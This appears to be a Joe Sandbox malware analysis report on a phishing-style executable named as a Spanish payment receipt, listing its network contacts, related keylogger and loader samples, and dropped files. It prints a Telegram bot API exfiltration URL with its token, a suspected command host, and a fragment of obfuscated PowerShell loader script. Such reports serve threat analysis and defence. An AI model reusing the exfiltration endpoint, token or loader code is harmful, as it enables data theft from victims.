http://anotherarmy.dns.army:8081	msiexec.exe, 00000006.00000002.2936459320.0000000021A71000.00000004.00000800.00020000.00000000.sdmp	false	high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	msiexec.exe, 00000006.00000002.2937418489.0000000022B29000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022CF8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022DF0000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022B54000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022CCD000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022B9E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000001.00000002.2053769821.0000000004B16000.00000004.00000800.00020000.00000000.sdmp	false	high
https://contoso.com/	powershell.exe, 00000001.00000002.2056661315.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://nuget.org/nuget.exe	powershell.exe, 00000001.00000002.2056661315.0000000005A2D000.00000004.00000800.00020000.00000000.sdmp	false	high
https://chrome.google.com/webstore?hl=enlB	msiexec.exe, 00000006.00000002.2936459320.0000000021C30000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/8.46.123.189$	msiexec.exe, 00000006.00000002.2936459320.0000000021AEA000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2936459320.0000000021B30000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2936459320.0000000021B57000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org	msiexec.exe, 00000006.00000002.2936459320.0000000021AC0000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2936459320.0000000021B30000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2936459320.0000000021B57000.00000004.00000800.00020000.00000000.sdmp	false	high
https://apis.google.com	msiexec.exe, 00000006.00000003.2139339110.0000000005F3E000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000006.00000003.2139283272.0000000005F3E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	msiexec.exe, 00000006.00000002.2937418489.0000000022B29000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022CF8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022DF0000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022B54000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022CCD000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2937418489.0000000022B9E000.00000004.00000800.00020000.00000000.sdmp	false	high
http://api.telegram.org	msiexec.exe, 00000006.00000002.2936459320.0000000021C18000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2936459320.0000000021BF3000.00000004.00000800.00020000.00000000.sdmp	false	high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000001.00000002.2053769821.00000000049C1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000006.00000002.2936459320.0000000021A71000.00000004.00000800.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot7884953123:AAF1UbV49cF9gYVrnfCw9g9ZbVXhB325bSM/sendDocument?chat_id=5234	msiexec.exe, 00000006.00000002.2936459320.0000000021BF3000.00000004.00000800.00020000.00000000.sdmp	false	high
https://reallyfreegeoip.org/xml/	msiexec.exe, 00000006.00000002.2936459320.0000000021AC0000.00000004.00000800.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
142.250.181.1	drive.usercontent.google.com	United States	15169	GOOGLEUS	false
104.21.67.152	reallyfreegeoip.org	United States	13335	CLOUDFLARENETUS	false
158.101.44.242	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
172.217.19.174	drive.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576296
Start date and time:	2024-12-16 18:27:05 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Justificante pago-09453256434687.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@6/16@5/5
EGA Information:	Successful, ratio: 66.7%
HCA Information:	Successful, ratio: 98% Number of executed functions: 182 Number of non-executed functions: 110
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 4.245.163.56, 13.107.246.63
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7528 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Justificante pago-09453256434687.exe

Simulations

Behavior and APIs

Time	Type	Description
12:28:01	API Interceptor	39x Sleep call for process: powershell.exe modified
12:28:54	API Interceptor	5035x Sleep call for process: msiexec.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	l9IH82eiKw.exe	Get hash	malicious	Unknown	Browse
	l9IH82eiKw.exe	Get hash	malicious	Unknown	Browse
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
104.21.67.152	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	ref_97024130865.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse
	CITAS_pif.exe	Get hash	malicious	MassLogger RAT	Browse
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	Get hash	malicious	GuLoader	Browse
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	SWIFT09181-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
158.101.44.242	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	Get hash	malicious	GuLoader	Browse	checkip.dyndns.org/
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	Shipment 990847575203.pdf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	77541373_BESOZT00_2024_99101234_1_4_1.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	hesaphareketi-01.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	hesaphareketi-01.pdfsxlx..exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Request for quote.doc	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	132.226.8.169
	ref_97024130865.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
	CITAS_pif.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	conferma..exe	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	Get hash	malicious	GuLoader	Browse	158.101.44.242
reallyfreegeoip.org	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	172.67.177.134
	ref_97024130865.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.67.152
	CITAS_pif.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	Get hash	malicious	GuLoader	Browse	104.21.67.152
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
api.telegram.org	l9IH82eiKw.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	l9IH82eiKw.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	149.154.167.220
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	l9IH82eiKw.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	l9IH82eiKw.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	dZKPE9gotO.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	149.154.167.220
	nB52P46OJD.exe	Get hash	malicious	Vidar	Browse	149.154.167.99
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	https://docsend.com/v/ty7vw/up-date	Get hash	malicious	Unknown	Browse	172.67.182.24
	https://yxyz.zyxy.org/awjxs.captcha?u=c450c3eb-f121-4401-970f-d07fe840d263	Get hash	malicious	Unknown	Browse	104.21.25.207
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	104.16.184.241
	file.exe	Get hash	malicious	LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Xmrig	Browse	172.67.164.37
	wf1Ps82LYF.exe	Get hash	malicious	LummaC	Browse	104.21.50.161
	https://share.hsforms.com/1Izw71u6TTr2VFC-t9f1KFgsvgdj	Get hash	malicious	Unknown	Browse	104.18.142.119
	https://qrs.ly/gggdyxx	Get hash	malicious	Unknown	Browse	1.1.1.1
	236236236.elf	Get hash	malicious	Unknown	Browse	104.26.14.131
	https://tinyurl.com/ajdoea10dk66	Get hash	malicious	Unknown	Browse	104.21.96.1
	IMAKBWPY.exe	Get hash	malicious	LummaC	Browse	172.67.219.27
ORACLE-BMC-31898US	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	ref_97024130865.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	193.122.130.0
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	Get hash	malicious	GuLoader	Browse	158.101.44.242
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	REQUEST FOR QUOATION AND PRICES 0910775_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
	arm5.elf	Get hash	malicious	Unknown	Browse	147.154.242.4

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	QUOTATION REQUEST - BQS058.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	FT876567090.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	REQUEST FOR QUOTATION 1307-RFQ.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	PO-1124-0018- TTR-ASP1 .. 20 adet 0191621.exe	Get hash	malicious	VIP Keylogger	Browse	104.21.67.152
	ref_97024130865.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.67.152
	CITAS_pif.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	TEKL#U0130F #U0130STE#U011e#U0130 - TUSA#U015e T#U00dcRK HAVACILIK UZAY SANAY#U0130#U0130_xlsx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	PURCHASE ORDER 006-2024 GIA-AV Rev 1_pdf.exe	Get hash	malicious	GuLoader	Browse	104.21.67.152
	SWIFT091816-24_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
3b5074b1b5d032e5620f69f9f700ff0e	https://docsend.com/v/ty7vw/up-date	Get hash	malicious	Unknown	Browse	149.154.167.220
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	149.154.167.220
	uZgbejeJkT.bat	Get hash	malicious	Unknown	Browse	149.154.167.220
	ni2OwV1y9u.bat	Get hash	malicious	Unknown	Browse	149.154.167.220
	l9IH82eiKw.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	3gJQoqWpxb.bat	Get hash	malicious	Unknown	Browse	149.154.167.220
	l9IH82eiKw.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	KjECqzXLWp.lnk	Get hash	malicious	RHADAMANTHYS	Browse	149.154.167.220
	cey4VIyGKh.lnk	Get hash	malicious	RHADAMANTHYS	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	ME-SPC-94.03.60.175.07.exe	Get hash	malicious	GuLoader	Browse	142.250.181.1 172.217.19.174
	09-FD-94.03.60.175.07.xlsx.exe	Get hash	malicious	GuLoader	Browse	142.250.181.1 172.217.19.174
	TEC-SPC-94.03.60.175.07.exe	Get hash	malicious	GuLoader	Browse	142.250.181.1 172.217.19.174
	ME-SPC-94.03.60.175.07.exe	Get hash	malicious	GuLoader	Browse	142.250.181.1 172.217.19.174
	09-FD-94.03.60.175.07.xlsx.exe	Get hash	malicious	GuLoader	Browse	142.250.181.1 172.217.19.174
	TEC-SPC-94.03.60.175.07.exe	Get hash	malicious	GuLoader	Browse	142.250.181.1 172.217.19.174
	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	142.250.181.1 172.217.19.174
	dZKPE9gotO.exe	Get hash	malicious	Vidar	Browse	142.250.181.1 172.217.19.174
	InvoiceNr274728.pdf.lnk	Get hash	malicious	LummaC	Browse	142.250.181.1 172.217.19.174
	nB52P46OJD.exe	Get hash	malicious	Vidar	Browse	142.250.181.1 172.217.19.174

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsj887A.tmp\nsExec.dll	pedido-035241.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse
	uu8v4UUzTU.exe	Get hash	malicious	Unknown	Browse
	uu8v4UUzTU.exe	Get hash	malicious	Unknown	Browse
	https://on-combine-data.s3.us-west-2.amazonaws.com/dealer-data/Share+Point/NTAS_MS3000X_Installer_v2.8.25_October2024_NO_UPS.exe	Get hash	malicious	Unknown	Browse
	https://veryfast.io	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.W32.PossibleThreat.20282.14864.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.W32.PossibleThreat.20282.14864.exe	Get hash	malicious	Unknown	Browse
	GrammarlyInstaller.evxSw76fmxki94ued2mj0c82.exe	Get hash	malicious	Unknown	Browse
	GrammarlyInstaller.evxSw76fmxki94ued2mj0c82.exe	Get hash	malicious	Unknown	Browse
	https://viture.com/windows	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	53158
Entropy (8bit):	5.062687652912555
Encrypted:	false
SSDEEP:	1536:N8Z+z30pPV3CNBQkj2Ph4iUx7aVKflJnqvPqdKgfSRIOdBlzStAHk4NKeCMiYoLs:iZ+z30pPV3CNBQkj2PqiU7aVKflJnqvF
MD5:	5D430F1344CE89737902AEC47C61C930
SHA1:	0B90F23535E8CDAC8EC1139183D5A8A269C2EFEB
SHA-256:	395099D9A062FA7A72B73D7B354BF411DA7CFD8D6ADAA9FDBC0DD7C282348DC7
SHA-512:	DFC18D47703A69D44643CFC0209B785A4393F4A4C84FAC5557D996BC2A3E4F410EA6D26C66EA7F765CEC491DD52C8454CB0F538D20D2EFF09DC89DDECC0A2AFE
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.G.......%...I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\SmbShare\SmbShare.psd1T.......gsmbo........gsmbm........Enable-SmbDelegation.... ...Remove-SmbMultichannelConstraint........gsmbd........gsmbb........gsmbc........gsmba........Set-SmbPathAcl........Grant-SmbShareAccess........Get-SmbBandWidthLimit........rsmbm........New-SmbGlobalMapping........rsmbc........rsmbb........Get-SmbGlobalMapping........Remove-SmbShare........rksmba........gsmbmc........rsmbs........Get-SmbConnection........nsmbscm........gsmbscm........rsmbt........Remove-SmbBandwidthLimit........Set-SmbServerConfiguration........cssmbo........udsmbmc........Remove-SMBComponent........ssmbsc........ssmbb........Get-SmbShareAccess........Get-SmbOpenFile........dsmbd........ssmbs........ssmbp........nsmbgm........ulsmba........Close-SmbOpenFile........Revoke-SmbShareAccess........nsmbt........rsmbscm........Disable-SmbDelegation........nsmbs........Block-SmbShareAccess........gsmbcn........Set-Sm

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1ezaarsi.pgc.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_fvjp41pz.guw.ps1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_wch0vq3h.eoa.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xp0zskw3.eft.psm1

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\Forhaandsudtalelses.Pot162

Process:	C:\Users\user\Desktop\Justificante pago-09453256434687.exe
File Type:	Unicode text, UTF-8 text, with very long lines (4095), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	68206
Entropy (8bit):	5.172310613255284
Encrypted:	false
SSDEEP:	1536:JWm6iUoKIuR+xCKKijix19GzuQ47tUbYIj0ghf9:Em6imIuR3Ko194v4pUEiD9
MD5:	F508128E1733BB6460B9B1532382ECF6
SHA1:	B20F4E4AF3FE86A6DD5B7B10FCF983FAC5BF74C4
SHA-256:	85B8BC66A411630746860C471286AB9BBC69BA93212E12DA8E75040DFB3A1A75
SHA-512:	ACC7183911452359EC33582CDF6F5FF0953BC4F09F1F5475454D17277466ABC1F9B0218E8177735F9653665FBF55555BD557B86398C3D5A4A0D697B122E81731
Malicious:	true
Preview:	$Kejsertiders=$Teardown;........$Processorkort = @'.Eftervi.Occulti$Navl.brLRepriseiDykningnAut gendAlliancsSor imetMisstylr Gash,noEuroko mostario=Rhotaci$NiobesiHKorts gaN ntroplBaandvrvFittitptFulgu arSster,neF mkampd AmylensAlbuebea,ornrooaSkrueblr Fljfl sMut.latfUf,rdradCh onics AlpehoeHistoril HyperssRig,thedLydighea brunheghelpingeO,tettenCrepenyeGalvani2Corrida3Fry,efu4Spr ked;Ne lefi.Afmilitf HemopouEsber snSulforicSkrddert X,losiiUnrecano ndtrren S utak NonderoP MesepieMontigeninitiatiProexerc Faunoli estinalUnde.walExpl.rai Orkan n pasmaegegenscr V gour Uintere(Olegbuf$AgonistAinsweeplT,eeshtm Tmrer oVandmndcS.nkholh IrvingoKi.ometdsagsom.eEkskommnUncorki,Algesia$RecandiYZym phot As.ocir Bagfuli storyen SuturegAfddtsvsImbod irFinitudu Tippe mSa.sonm)Weelfau Bjergba{energik.Hjerner. Chir p$heallbeKReth,asaCabbielstrv ekrsStraaliaEryngiut ,ncarvi Prenoto Semimane stalkeKurtsflr PrintenHa,sanieUltracrsUnplumm Hulkag(Kole,aeDUnt rree plitteb,isconsu H usyst Unell, Thallic'Pen

C:\Users\user\AppData\Local\Temp\globosely\baadehavn\stnner\Umatilla125.Sea140

Process:	C:\Users\user\Desktop\Justificante pago-09453256434687.exe
File Type:	data
Category:	dropped
Size (bytes):	313127
Entropy (8bit):	7.659464645407278
Encrypted:	false
SSDEEP:	6144:fBXtVl2k39Ao5t5uQ3/+fLB8bNiX9px+Sf68lZuB3QMy1HAS6n30:fdtXzNAo5tb+d8g3gi3uiASw30
MD5:	3C8436F0E7B9D6C8D25947E4374D179E
SHA1:	1BE9130C45876D27F39C2097771090E573697B72
SHA-256:	8512544EB0068094F92CD705FD941A0F07F5697D690AA62EA351B1363F348C75
SHA-512:	AA229B1E5C66A78D67A06B601E5AAD9B000B4E15BD0A5F15FF001201F228FC9950418CF9B2F205FCA07BE73E70A06383766DA3804341C42C5597BCBEDCC651FD
Malicious:	false
